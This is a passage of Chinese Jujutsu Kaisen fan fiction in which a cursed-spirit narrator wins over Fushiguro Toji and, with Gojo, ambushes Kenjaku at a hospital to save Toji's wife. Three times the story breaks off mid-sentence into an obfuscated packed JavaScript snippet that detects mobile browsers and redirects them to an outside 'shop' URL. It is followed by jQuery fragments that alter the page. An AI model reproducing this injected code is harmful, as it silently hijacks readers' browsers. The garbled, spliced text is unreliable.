“借用一下名字,也不用这么小气吧?”我一摊手,丝毫没有掩饰自己的意图,“不知道该说是咒术界的行动快还是你的行动快,也不枉我专门遛了一圈诅咒师的佣兵市场。” 准确地来说,是给自己造了点痕迹——感谢脑花留出来的那几天时间,谁让我接真人回来的那几天,她不在基地呢。 花御和陀艮太好糊弄了。 当然,所谓的“市场”当然也不是固定地点,但每个佣兵掮客多少都有点偏好的活动范围,我专门挑了孔时雨的舒适区。 至于怎么找到的舒适区——我得说,脑花真是在一起默默关注着爹咪。 我在她的记忆碎片里看到了。 “你故意的?”伏黑甚尔一点收势的意思都没有,身上的肌肉紧绷着,连略带宽松的练功服都遮挡不住——八块腹肌双开门冰箱,这简直是我梦想中的身材。 我握紧手,用力憋了一下自己的肱二头肌—— 算了,有点自取其辱那味儿了。 “外人想要找到你不容易,”而且容易打草惊蛇——不是怕惊了甚尔,我是怕惊了脑花,“但我觉得禅院家总有人能反应过来你的名字,然后找到你门上的。” 没有用“禅院甚尔”这个名字并非是我确定了甚尔改姓的时间,而是用“禅院”实在太过招摇,连灰原、七海这样涉世不深的小年轻都能反应过来。 我只是需要一点潜在线索。 至于为什么确定禅院家能反应过来——我上次穿越就隐约意识到了,虽然嘴上说着什么“非术师者非人”,但禅院直毘人那几个禅院家的高层心里却不会真的在实力上轻视爹咪。 毕竟是能从一千年前延续至今的家族,内部就算是再迂腐,牵头的人里也一定有几个能看清形势的人。 「天与咒缚」这种能够在咒力体系之外碾压咒术师的能力,稍微有一点点脑子的人都不会放任其野蛮生长——尤其是当这个能力主人和家族本身疏远甚至有怨恨的时候。 禅院真希能单杀禅院家,难道爹咪做不到吗? 一切都没有表面看上去那么简单。 否则,所谓的御三家究竟强在哪里? 只是战斗实力吗——恕我直言,不论是「六眼」还是「十种影法术」出现的几率都非常低,而且出现的时间间隔也很长,同时还有相互牵制的属性。 历史课告诉我,没有哪个门阀士族是只凭读书就能撑起来的,硬实力只是一个维系家族的一个元素而已。 说远了,我只是觉得,禅院家和爹咪之间一定仍有联系——也可能是单方面的关注,但涉及到特级咒灵,禅院直毘人这个当家,肯定会悄咪咪到爹咪那里求证探索一番。 如此,我的目的就达到了。 而爹咪现在有妻有子的好处就在于,我甚至不需要搭灰原的桥去侧面打听关注禅院家,爹咪就一定会来找我。 好吧,主要是来杀我,就像刚才那样。 对于他这样的人,“家庭”这样来之不易的东西,一定会拼了命去守护。 我这种咒灵,显然是威胁,他会毫不犹豫地排除。 同样的道理,脑花也是更大的威胁。 “孔时雨的消息是你故意留下的。”爹咪非常聪明,一点就透,“你有什么目的,直说。” 完全没有扯皮和废话。 人狠话不多典范代表。 “其实只是有点好奇,对你这个‘命运之外’的人很好奇。”他人很话不多,但我肯定是不能明说,不然也太假了。 爹咪可没有灰原那么好哄。 爹咪眼神一厉,他当然对所谓的“咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078338|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术界宿命轮回”这样的概念没有一丁点的了解,他也从来没有关注过那些宏观抽象的东西。 他听不懂我的指向,至少不能马上听懂。 这就对了,要的就是这个似是而非的效果。 “你是怎么知道‘伏黑甚尔’这个名字的。”他没有顺着我的话往下说,而是掌握着自己的对话节奏,询问——鉴于他那把随时能够砍我头的刀,这里应该用拷问更加准确——拷问他想知道的东西,“除了你以外,还有什么人知道。” 我的答案直接关系着他的家庭安全。 这个爹咪的人渣含量好低! “要问我的话,我也不知道——毕竟,我也是在香织的记忆里看到的啊,她对你的关注度好高,给你写本传记完全不是问题。” 我甚至能够看到‘香织’这个名字就在爹咪的脑子里狠狠转了一圈——但脑花做事向来非常隐匿,他的大脑检索是不会有答案的。 我不给爹咪说话的机会,小嘴继续叭叭地输出,“不过现在她的注意力偏移多了,对你老婆的关注度完全超过你了呢!” 关键词“你老婆”触发,爹咪的刀差点给我来了一个腰斩。 还好我早有准备,躲得快。 但防得了身前,防不了身后。我都不知道爹咪的万里锁什么时候绕到了我身后,直接穿过了我的锁骨,将我拉到了爹咪眼前。 鉴于某些战斗经验,我迅速抓住了回缩的锁链,定格了咒具的动作。 锁链不仅固定着我,也固定着爹咪——他肯定是要抓住锁链另外一头的。这就让我有机会正面硬刚,我抬手抓住了他的拳头,刻意硬化的皮肤阻止了他手中拳刺的攻击。 我并不担心这样的战斗,他要是凭借速度遛我,才更让我烦恼。 刚才挨的第一刀我就已经清楚意识到,我的眼睛跟不上爹咪的速度,而我的感知也无法捕捉「天与咒缚」。 也许是我的进化程度不够,或许再多吞两个咒灵就好了。 距离一近,爹咪的脸就更可怕了。他的脸部轮廓原本并不算是暴戾的那一款,但多年杀戮在眉间积累起浓浓的狠厉,嘴角的疤痕也让他完全成了个能止小儿夜啼的角色状态。 “如果你敢对她动手、哪怕是一根头发,我都会让你——你们后悔诞生在这个世界上。” “我?我对你那个普通人妻子一点兴趣都没有,”我眯起眼睛,非常不客气地给脑花造谣,“但香织就不一样了。我严重怀疑,她在对你的偷窥里萌生爱意,打算干掉你老婆,再继承你——和你的儿子。” 就事论事,我的这个逻辑也完全通顺。 病娇脑花,启动! 20.第 20 章 20 论小白脸爹咪的自我修养。 听着我说的话,他竟然非常认真地思考起了这种可能。 毕竟是前·职业小白脸,以他的姿色,指不定以前还真的碰到过什么病娇角色。 但病娇不等于强大,不是谁都能驾驭得了爹咪的,只要有足够的钱给他,他估计也懒得理会。 只是,现在这个疑似病娇的角色威胁到了他真正的妻子,这就不是能放任的事情了。 爹咪深吸了一口气,迅速冷静了下来,撤回穿在我身上的万里锁,收到了丑宝的身体里。 我既然都专门想办法绕过脑花来找他,又这么毫无保留地和他说了,那我和我口中的“香织”肯定至少有分歧。 在搞清楚前因后果之前,爹咪肯定不介意和我好好聊聊了。 好好的、安全的、不见血地聊聊。 我酝酿了一下语言,再次确认了一下我的逻辑,想要拐走爹咪就是要谨慎、谨慎再谨慎。 一切都是为了守护最好的海胆惠! “所以,你是暗恋那个香织?” 爹咪突然开口,瞬间击中了我的理智。 我的大脑瞬间宕机,“啊?” 你要不要听听自己在说什么魔鬼之言! “不是吗?”爹咪挑眉,“不然你怎么对那个‘香织’的感情生活这么关注?连她喜欢的人都一并关注。专门走到我面前,是为了吸引她的注意力吗?” ……舔狗竟是我自己? 什么叫搬起石头砸自己的脚,我算是知道了。 虽然爹咪极大可能只是顺口嘴贱一下,但只是想到这件事就已经让我头大了。 就是给人当舔狗,也绝对不会舔脑花这种东西的——能够涮火锅的除外。 喜欢脑花——得是什么样的XP才能戳到这个地方来。 我下意识地想要解释,但却在话语离开嗓子之前意识到,我看到了爹咪那满是戏谑的眼神。 不行,不能掉入自证陷阱里去。 于是,我选择自爆卡车——既然要追求刺激,那就要贯彻到底。我微笑,“不,比起她,我还是对她三岁的儿子更兴趣啊。” 爹咪脸上的肌肉不受控制地一抽,大概是没有到,还有我这样的高手。 紧接着,他的脸上升起了更浓重的警惕。 他应该想到了,自己儿子今年也正好三岁。 “放心,我对你家那个身高96CM、体重15KG、海胆头绿眼睛,刚刚入学幼稚园、最喜欢幼稚园村上老师、喜欢小狗、喜欢生姜、喜欢穿神奇宝贝衣服的惠惠完全不感兴趣呢。” 爹咪表面看上去一脸坚毅,实则人已经走了一会儿了。 他的眼神空空的。 我敢打赌,就算是他这个亲爹,了解得都没有这么清晰。 他的大脑宕机只在一瞬间,空空如也的眼神很快就布满了杀意。 别别别,我只是骚一下,并不打算真的和你硬打一场。 我作为一个可以吞噬咒力、诅咒,完全不害怕任何术式、甚至连情绪产生的逸散咒力都能清晰品尝的人,完全隔绝咒力、情绪也不会产生咒力的爹咪简直就是我的克星天敌。 和他打架,有概率降低我的B格。 “这些都是香织的记忆。显然,你的儿子也在她的菜单上,你知道为什么吗?” 我几乎不是疑问,而是一个清晰的设问。不等爹咪有什么反应,我就已经率先开了口,“虽然你儿子只有三岁,但他的术式,却已经非常明显了。” 爹咪狠狠皱眉,“惠还没有到年龄,也没有任何术式觉醒的征兆。” 从某种意义上来说,爹咪或许更希望惠惠没有术式。这样的话,就不需要再去应对禅院家的那群烂人,也不用再搅和到咒术界的事情中去。 只要他退出江湖,一家人就可以过普通人的生活。 当然,作为读者的我们都很清楚,这只是爹咪的一厢情愿。 他注定无法成为普通人。 “所有的术式觉醒都是有规律的。”这一代已经觉醒了「六眼」和「无下限」,那么就一定会出现能够制衡这个术式的其他术式,也即是「十种影法术」。 禅院家自己应该也有相似的预感,毕竟要论总结术式觉醒的规律,他们一定更加专业。 这或许也是即使惠惠没有觉醒术式,禅院直毘人也愿意高价从爹咪手里把惠惠的抚养权买过来的原因之一。 当然,作为我的人设来说,肯定是不能去谈规律办的。 毕竟人家也还是个刚出生的宝宝呢! “就规律来说,香织有她的怀疑,所以在观察。但我就不一样了,我——能看到。”我开局一张嘴,能力全靠瞎编来叠Buff,“不过,在看到香织记忆的时候还只是猜测,直到我看到你——伏黑甚尔,我才终于确定。” 爹咪环视自身,他身上绝不存在任何咒力。 “不是咒力哦,”我继续说道,“不是咒力,而是一点更加神奇、更加深入的东西。” 爹咪的背景“piu”的一下,像是传过了一个柯南的经典动作——灵光一闪。 “是你刚才说的——命运。” 他终于想起了我最开始提到的东西。 命运之外。 “准确地来说是‘命运之线’,它连接在每个人身上,强迫着每个人走上必然的道路。有些人身上的线很重很粗,像是五条家的「六眼」悟,他绝对是命运最中心的人物之一——但你,你更加特殊。”我伸出一根手指,用诅咒具象化出了密集的线条,“你的存在排斥着一切,命运的绳索无法束缚在你身上,无法把你拉到任何地方。” 爹咪一时间难以言语。 他的人生中,应该听到过不少关于他“特殊”的言论,但并非是好的方向。 在咒术界中唯一特殊的零咒力,在禅院家中唯一特殊的零咒力,他的“特殊”一向都是一个受歧视的元素。 但我说的“特殊”就是另外一个方向了。 “大概就是因为无法束缚,所以香织才想要用一点‘外力’来控制你的行动吧?”我点着下巴思考,“如果你妻子死掉的话,你的行为就很好预测了,也就能为她所用啦。” 爹咪恶狠狠地说道:“如果她有任何事,我一定会杀死每一个可能存在的相关者——包括那什么香织的。” “除非,你不会知道你妻子的死亡是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096049|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人为的。”我从善如流地把话题转了回来,走到了我最需要说的话上。 爹咪不以为意,“想要在我眼皮子底下神不知鬼不觉地杀掉我的妻子?未免也太看不起我了。” “诶!错了,不是‘杀’!谁敢在你眼皮子底下杀人啊,香织只是需要继续堕落下去、他要你屈服于一般人认知的‘命运’当中,让你打心底里认为自己会带来不幸、自己的一切都是不幸的。如果杀掉你的妻子,只会激起你的杀意和斗志,给她自己惹上一身麻烦,这可不是她想要的。” 爹咪神色一顿,突然像是想到了什么,连呼吸都屏住了。 “她的初计划应该是制造难产、一尸两命。但你看得太紧了。你妻子孕期时你的状态,你自己应该也清楚,那个词怎么说的来着——啊对了,风声鹤唳。” 这可不是我瞎编的,而是脑花切实存在的记忆。 自从我创造出了这个设定之后,之前接触过、吞噬过的咒力、诅咒全都在消化过程中,重新转化成了记忆碎片,充斥在我的大脑里。 比如我还看到了五条猫半夜定闹钟起来肝游戏,就是为了把杰哥的排名挤下去。 把那些凌乱的记忆整理出来确实花费了我不少功夫,但好在,每个期末对复习资料的整理给了我一点经验和灵感。 这一波是文科生的胜利。 我自信地引导着爹咪,“你应该也有所感觉吧,即使香织并没有真的出手,但彼时她也刚刚生了虎子——孩子,我是说生了孩子。隐秘和布置做得不够全面,所以我猜,你多少是有那么一点感觉的。” 虎子的生日是在三月,而惠惠的在十二月,推测一下的话,虎子出生的时候,基本就是惠惠刚刚被怀上的时候。 虽然脑花的生育和正常人的生育并不相同,但想要生出一个能够容纳两面宿傩的天选受肉也没有那么容易。 从制造虎子之初再到虎子降生,整个过程都需要脑花足够专注——不仅要用特殊的方式来进行胚胎培育,脑花同时也一定要排除一切可能存在的威胁,确保虎子的诞生。 那几个月需要耗费的精力和谨慎哪怕是对脑花来说,也绝不轻松。 而想要紧接着工作,在爹咪眼皮子底下潜移默化创造出难产一尸两命的情形,简直是痴人说梦。 她想过、也尝试过,但在发现爹咪有所察觉的一瞬间,就放弃了这个计划。 脑花这个大BOSS苟了这么多年,最不缺的就是耐心。 她宁愿把这个计划推迟,也绝对不愿意惊了爹咪。 “我说错了吗?”我反问。 看爹咪的表情就知道,他回忆起了妻子孕早期存在过的一些异常。 或许是因为后来没有发生什么,他便只把那些异常当作是自己佣兵生涯带来的神经敏感,那成为了一个契机,让他彻底隐退、放弃了自己天与暴君的身份。 但那些记忆和感觉是不会消失的,只要我一提,他自然就会想起来,而且还会无限脑补。 我今天就要在这里、在爹咪的面前,实锤钉死脑花。 脑花需要“命运之外”的人来破局,反过来也是一样的,想要出其不意掏了她的脑子,用“命运之外”的人是最好的。 21.第 21 章 21 爹咪相信我的鬼话了吗? 一半信一半不信吧。 毕竟我不是什么正面角色,爹咪也不是什么正面角色,要是两句话就建立起信任岂不是显得很奇怪? 但信任不信任的都不重要,重要的是,我的结论绝对没有问题。 爹咪的脸上写满了严肃,不论我说话有没有证据、不论他相不相信我,都不可能用自己的妻子冒险。 换句话来说,一切可能存在的危险,都要当做真正存在的危险。 当然,还有另外一件事是他需要在意的—— “你之前说的术式,惠会觉醒的术式。”爹咪在自己妻子之后,终于想起了自己那三岁的儿子,“是什么和术式?” 我看爹咪的眼神,他分明已经有了猜测。 一个来自禅院家的特殊术式,答案一目了然。 “禅院家难道还有第二个特殊术式吗?没有了吧?”我故意反问。 但爹咪却很难相信,长久以来,禅院家的理念一直带有“龙生龙凤生凤老鼠儿子会打洞”的理念,因为他的零咒力,他整个一脉上下都受到了不同程度的歧视。 在这个理念的指导下,禅院家也从来不允许族中的咒术师和普通人通婚,加茂和五条两家在这方面也大差不差。 兄妹媾|和这样的事在咒术界实在算不上奇闻。 我严重怀疑,咒术界盛产神经病的原因不仅仅是因为咒力对情绪和精神的刺激,很大程度也是因为这种反科学的联姻方式。 说真的,咒术界的老古董们真的该多上两节科学课了,义务教育普及迫在眉睫。 你看看人家爹咪,跳出你们这个烂橘子圈,人生都明媚起来了。 我直接给了爹咪一个答案,“「十种影法术」,这就是你儿子未来的术式了。” 爹咪先是一愣,紧接着便嗤笑出来,“「十种影法术」?我这样的‘废物’的儿子?” 很难判断他是在自嘲还是在远距离嘲讽禅院家。 “你要是废物的话,其他咒术师都不用活了。「天与咒缚」完全就是神赐的能力啊,不……未完全是神都无法控制的能力才对。”我耸了耸肩,非常认真地捧了一句。 这是多好的龙傲天逆袭剧本。 但爹咪快速缓过神来之后,却意料之外地没有一点欣喜的表现。 我原本以为,这样的惠惠绝对是嘲讽禅院家一利器,完全能让禅院家沦为小丑。 即使已经脱离了禅院家,甚至可以说脱离了整个咒术界,可爹咪对过去遭受的一切不公应该多有怨愤。 那些情绪是不会轻易消失或是释然的。 可此时的爹咪却有些满面愁容,没有一点逆袭爽文男主该有的表现。 我觉得有点奇怪,“「十种影法术」一向都是和「六眼」、「赤血操术」同时代并行的术式。出现的时间或许前后会有那么个十来年的差距,但规律是不会改变的,这样绝对的规律也一直是支撑着御三家地位的根基。” 或者说是根基之一。 也是三个家族相互牵制的筹码。 若非如此,在未来某个漫画的时间线,禅院直毘人也不会执意想要把禅院家传到对禅院家毫无认同的惠惠手里。 “术式可不是那么好的东西。”爹咪的声音不算大,不像是说给我听的,反而像是说给自己听的。 这话倒是也没错,那样的术式确实会引来诸多觊觎。 比如我体内的某位大爷,未来就会疯狂地觊觎你儿子! 真是太意外了,我竟然在爹咪的身上感觉到了一种老父亲的气质。 这还是我认识的爹咪吗? 虽然我一直叫他“爹咪”,但我也是真没觉得他称职。 不过若是反过来想的话,就能明白,惠妈的死对他的打击究竟有多大。 惠惠的美好童年必须由我来守护! 我斗志昂扬,抬头问,“顺便一问,你老婆现在在哪来着?” 毕竟我都看到那个肿瘤了,为了保证活性和剧情进展速度,脑花不会等很久的。 我离开阵营基地的时候,脑花也已经准备好随时开溜。 肿瘤就是再晚期也不会马上致人死亡,但算算时间,星浆体事件已然不远,惠妈的死自然是越早越好,那也就意味着—— 爹咪的神色一顿,复杂的眼神只在我身上一掠,话都没来得及说,就迅速离开了原地。 离开了同时,他还在不断地给惠妈打电话。 为什么是“不断地打”? 当然是因为惠妈不接电话了! 这一下就刺激到了爹咪的敏感神经,各种可怕的猜想浮现在他脑海里,使得他不断加速、持续加速—— 等等我啊! 我知道「天与咒缚」很牛,但也不应该到这种程度吧? 我的速度也绝对不慢哦。 诅咒的力量在我的体内疯狂翻涌着,我将力量都压在腿脚上,甚至开发起来飞翔的能力——准确地来说是一种滞空力的延伸,贴地飞行。 但我依然落后于爹咪。 好消息,至少我能望其项背了,不会被甩开。 “等等,伏黑甚尔!” 我确实是想要用一下他的「天与咒缚」,但绝对不是现在,不是今天。 脑花不会在这样的小任务中暴露本体,也不可能在这样的细节上贸然。 爹咪这样可别破坏了我的大计。 我可是在守护你儿子的童年,你可别背刺我! “她不会行动得这么快!” 我的声音都几乎追不上全速前进的天与暴君。 6。 这更让我下定决心,要把爹咪收入囊中——咳,是收入我的阵营里来。 没想到,我也有不需要用金钱就能收买爹咪的时候。 他最终的目的地他停在了一家医院前,从郊外森林一路埋头苦冲到医院,爹咪就只是有些喘息 我就不一样了,我小腿发紧,让我恍然想起了当年夜爬泰山的经历。自那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113714|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后我就再也没有爬过山,死去的记忆突然攻击我。 诅咒是诅咒,身体素质是身体素质。 这次回去,我真的要开始锻炼了,不然下学期体侧都能要我半条命。 医院这种场合遍布诅咒,虽然没有到能够进化成咒灵的程度,但诅咒的连接让我能够轻易地掌握整个医院内的动向。 我展开感知搜索了一下,虽然不知道惠妈是什么模样,但我知道脑花是个什么德行。 脑花并不在这个医院的建筑当中。 我跟着爹咪一路奔向了楼上。 理智来想,虽然医院很容易产生诅咒,但医院也绝对是最安全的地方之一。 尤其是东京的医院。 咒术界定时定点都会派人来清扫诅咒,真人那样的情况毕竟少数——极少数。 大部分时候,就咒灵、诅咒角度的危险来说,这里相当安全。 当然,咒术师来往频繁也就意味着一直有眼|插在惠妈的身边,这对爹咪来说,或许也是一种忌惮。 “砰”的一声。 爹咪推开了一扇白色的大门,里面坐着的几个漂亮姐姐都被这突如其来的声音惊吓得身体一颤,还以为是哪里来的医闹波及到了她们这里。 但等她们看到爹咪脸蛋的时候,都齐齐地松了一口气。 “伏黑先生今天来得太早了哦,早春还没有到下班的时间。” 她们看上去对爹咪很熟悉的样子。 看来平时没少来接老婆下班啊,原来你是这样的爹咪。 但爹咪的心思完全不在她们身上,直接开口便直奔主题,“早春她人现在在哪……” “甚尔?”一个脆亮的声音从走廊尽头传来。 我扭过头去看,就见一个推着手推车·医院特供版走了过来,“怎么突然过来了?” 哦哦哦哦哦——! 这一定就是惠妈了吧,收服了爹咪的传奇妈咪。 我只一眼看过去就能确认她的身份。 如果你觉得惠惠和爹咪长得像,那你真应该看看妈咪的样子——这个眉眼、这个发型! 是海胆妈咪没错了! 虽然戴了帽子,但帽子的柔软布料可压不住海胆头,伏黑一家祖传的翠绿宝石眼,在她的脸上晶莹透亮,走廊里的灯光都不如妈咪的眼睛亮。 惠惠的大眼睛随妈了。 爹咪看到她的一瞬间,整个人的气势都松了下来,就像是一瞬间从豹子变成了缅因猫,甚至连声音都夹了起来。 远藤大辅爆改花江夏树,爹咪你刚才和我说话的时候,可不是这个声优! “早春!” 他冲过去抱住了妈咪,快得在我身边留下了一道残影。 妈咪有些不明所以,完全状况外。 但对爹咪的熟悉还是让她感觉到了异样,她没有责怪这个大只的爹咪撞到身上的刺痛感,而是伸手回抱住了他,真的像是在安抚猫咪一样,轻轻抚摸着他的后颈,“没事没事,不管是什么,都没事。” 26-30 第26章 可怜的五条猫被玩弄于股掌之间。 我和爹咪一通配合, 五条猫已经身陷我们俩营造的迷雾中,晕头转向。 这只五条猫,经历过的最大挫折, 是还没有完全掌握自己的术式反转的能力, 发动的「赫」总是失败。 顺风顺水的人生让他极度单纯。 我和爹咪的几步卖惨让他的正义感和好奇心爆棚,一切和权威御三家作对的事情,在此时的他看来都是有趣的事。 不出所料, 他加入了计划,成为了这个阵营中的第三人。 只有他,不包括杰哥。 倒不是五条猫不相信杰哥,而是两人被分配的任务总需要有人去做——身为新生代的潜力股, 他们俩基础的任务分配量要远高于其他同期。 至于五条猫是怎么说服杰哥的, 就不在我的考虑范围内了。 但我猜杰哥不知道这里发生的事。 按照爹咪的判断,脑花的行动就在这六天之内。 我对脑花非常谨慎,要是按我的想法来,我觉得脑花放置肿瘤的时候并不保险,毕竟这只是他计划的一小步。我觉得可以提前在妈咪身上设置保护系统, 然后给脑花一点甜头尝尝。 根据我的经验, 人总是在最接近成功的时候放松警惕。 但是,爹咪绝对、绝对不愿意让妈咪冒一点点风险。 他自己是完全零咒力, 如果需要设置我口中的“保险系统”就需要术式效果, 也就等于将妈咪的性命交到了我身上。 他怎么可能同意。 无法征求爹咪的同意,那就只能在现有的基础上尽可能完善一下计划。 时间比想象当中还要紧凑, 从确定了时间区间的那天开始, 我的神经就完全没有松懈过一点。 和爹咪预测的一样, 脑花没有等到第六天的末尾, 而是在妈咪值班的前一天晚上动手了。 我躺在房顶, 一阵诅咒的波动突然刺在了我身上。 我猛然睁开眼睛,这是我布置在医院外的一圈的诅咒陷阱——简单来说就是把极其微弱的诅咒埋在外面,波动连接着地面,形成了包围圈。 如果是普通人,则无法控制自己情绪产生的诅咒,逸散的力量就会被诅咒吸收判定为己方;反之,如果有能够控制自己咒力或是诅咒的人,就会触发感知,传送到我这里。 至于为什么能确认脑花一定会走陆路……她不会希望在这次行动里留下任何残秽,所以她便一定会尽可能避免使用任何咒力和诅咒。 越靠近妈咪,她就会越低调、越让自己的状态接近普通人。 我的陷阱,就是专门给她设计的——是不是超聪明? 这还等什么,赶紧行动。 我把约定好的暗号从手机信号中发出去,爹咪此时可不在医院中——脑花在行动前一定会确认爹咪的位置。 但医院毕竟是妈咪的工作地,和妈咪的住所相距并不算远。 如果爹咪全速前进,这点距离根本用不了多长时间。更重要的是,不论爹咪有多快,都不会留下任何咒力波动和残秽,也就是说,脑花不会感知到爹咪的到来。 信息才刚刚发出去,我就感觉到有新的咒力触动了我的诅咒圈——脑花不是唯一一个到此而来的非普通人。 怎么回事,以脑花的谨慎,这样非普通人的到来绝不会是巧合。 紧接着,黑色透亮的帷幕从天而降,倒扣在医院上,将整片区域封锁了起来。 “「账」?” 我马上认出了这个东西,但脑花可不会用这种东西留下痕迹。 意料之外的变故让我有些担忧,我马上调动起医院当中积累的诅咒,开始定位妈咪的位置—— 四层、三层、二层、一…… 我瞳孔一缩,一层的诅咒被祓除了。 而且不是被脑花祓除的。 是咒术师。 今天,是咒术师来定期清理诅咒的日子吗? 我马上意识到,脑花比我想象当中还要严密。虽然已经避免了几乎所有留下残秽的可能,但出于保险,她还是把自己的行动,藏在了咒术师的行动之下。就像未来,她也会把自己的目的藏在爹咪的行动和夏油杰的叛变之下一样,专业影子选手。 万一她留下了一点残秽,那也会被咒术师当作诅咒的一部分,清除干净。 这样,即使将来爹咪有所怀疑而回头调查,也只会终结到这样一个咒术界的常规行动上来。 唯一的问题是,在此之前,五条猫偷偷调取的任务表上明确记录了未来两周的常规任务安排,这里的诅咒清洗应该在后天才对。 脑花还真有本事调整任务顺序。 调整基础任务这样的事在咒术界里并不少见,但能精准地操控每一个细节,却还是足以说明她的能力和心计。 我手指交叉,将诅咒调动起来——这招还是和真人学的。 每一片小小的诅咒都无形地连接着我的感知,同样的,我也能利用我的感知加强或是削弱这些诅咒。 得用这些诅咒给咒术师的行动提速。 惠妈的值班安排在三层,脑花不想和咒术师打照面,就要在他们之前行动。 我看了看手表,距离之前测算的爹咪速度还差一点。 但也就是几分钟的事。 我没有在外面等,而是翻身从楼顶一跃而下。 三层走廊尽头的窗户被提前打开,方便了我和爹咪的潜入。 轻声落地,我将全身的诅咒都压在了一个点上,气息完全收敛了起来。 夜晚的走廊空荡荡的,为了确保咒术师祓除诅咒的顺利和隐秘,总监部通常会提前调度医院中的人员安排,将值班人数降到最低。 这就导致,整条走廊,似乎只有坐在服务台的伏黑早春一人。 脑花从背后靠近,袖口的是试管已经滑到了指尖,维持着肿瘤活性的花御力量在我眼中隐隐发光,并且逐渐褪色。 这是个标志,脑花已经在挪动肿瘤了。 我没有着急出手,甚至连呼吸都停住了,屏息凝神静待脑花的行动。 她完全屏蔽了自己的力量,即使我已经专注地看着她了,可我却几乎察觉不到她额头处的力量。 好牛的苟命能力,哪怕是五条猫都很难在人群中发现她并非普通人。 当然,反过来也是一样的——这种状态下的脑花将自己的感知和防御都降到了最低。 肿瘤脱离容器,在一阵试管残留的花御能力的引导下,贴近了那唯一一个值班人的后脑。粉色的护士帽遮住了黑色的盘发,却挡不住诅咒的潜入。 可也就是这一瞬间,脑花专注的眼神突然一顿。紧接着,她身上压抑的咒力翻涌了起来。 是什么样的情况能让她如此不管不顾? 当然是她清晰意识到异常和危险的时候! 我一手拍在墙壁上,压缩在一点的诅咒爆发开来,冲着正前方快速蔓延。一切只在一瞬间,不到一个呼吸的时间,我就将整层楼封锁了起来——「账」中之「账」。 “反应还挺快啊。”脑花身前的“伏黑早春”发出了一声雄厚的男音,快速地转身甩掉了头顶的粉色护士帽,黑色的长发也随之披散开来,在空中划出了一道漂亮的弧度,肿瘤被这道弧度狠狠甩在了墙上。 脑花想退的时候已经迟了,一只手用力地抓住了他的手腕,蔚蓝色的眼睛锁住了她额头的缝合线。 “五条悟!?” 虽然那面孔看上去是伏黑早春的样子,但那双眼睛却是任何人都无法模仿的特征、也是无法被咒具掩盖的特征。 五条猫咧开嘴,骚气地甩动长发,扭着胯展示自己前凸后翘的身体,“怎么样,我美吗?” 脑花的眼力一流,瞬间就在五条猫的身上发现了端倪——一个能够改变人体貌特征的咒具正挂在他的脖子上。 这不是什么高级的咒具,其维持时间短到只有几分钟不说,就连效果也非常差。 可就是因为级别不高,所以才很难被察觉咒力波动——只有在这样昏暗的条件下、只有在脑花要刻意限制自己能力的条件下、只有在时间紧迫的条件下,被这个咒具遮挡了身形的五条猫背影才能这一瞬间蒙混过关! 脑花不再低调,爆发出力量来想要震开手腕上的束缚。五条猫早有防备,强烈的咒力抵消了脑花的攻击,唯有低级咒具无法承受这样简单的能量冲击,彻底碎裂。 没有遮掩,五条猫的身形彻底清晰起来——比起妈咪,他更高、更壮、肩膀也更宽。妈咪的护士裙在他身上,几乎被撑出了裂痕,白色的腿毛还刺在了丝袜外面。 金刚芭比的既视感满满。 这但凡不是漫画特供护士装,他都不会金刚得这么严重。 “完全不行,果然还是硝子的裙子更好穿。” 五条猫抱怨了一句。 之前演练的时候我就看出来,五条猫对裙子热衷得很,他果然不是第一次穿女装! 有这么一个同期,真是辛苦你了,硝子姐姐。 我在吐槽中回忆着灰原的术式状态,将无形诅咒填满整个空间——几秒之内,这里的所有动向都被我掌握在手。 能够清晰地看到这一切的五条猫吐了吐舌头,“呕,好像连呼吸都能吃进去一口诅咒一样,恶心死了!” “你怎么——?!”脑花瞳孔骤缩,当然也注意到了我的存在。 但她怎么也想不到,我是为什么会和咒术师混在一起的。而且还是一开始把我抓回咒术界的咒术师。 主打的就是一个出其不意。 “没有想到,我也会超出你的控制这么多吧?” 我嚣张地朝她咧嘴,当然也没有忘了自己的人设,可不能临门一脚让五条猫看出来我和爹咪之前都是骗他的。 就算是暴露也得是抓到脑花之后。 “让我看看鼎鼎大名的加茂宪伦究竟是什么样的!”五条猫另一手刺向了脑花的缝合线,幅度不小的动作瞬间将腰侧的衣服撕开一个巨大的裂口。 脑花此时的目的已经彻底转变,任何所求都要建立在生存的基础上。 虎杖香织实在不是个强大的身体,所以她在无法挣脱五条猫后的第一反应,就是斩断了自己的手腕。 人类的身体在如此伤势下顿时鲜血肆涌,她快速后退,额头的咒力开始悄咪咪地向边缘摸走。 这是给自己开辟逃生道路呢? 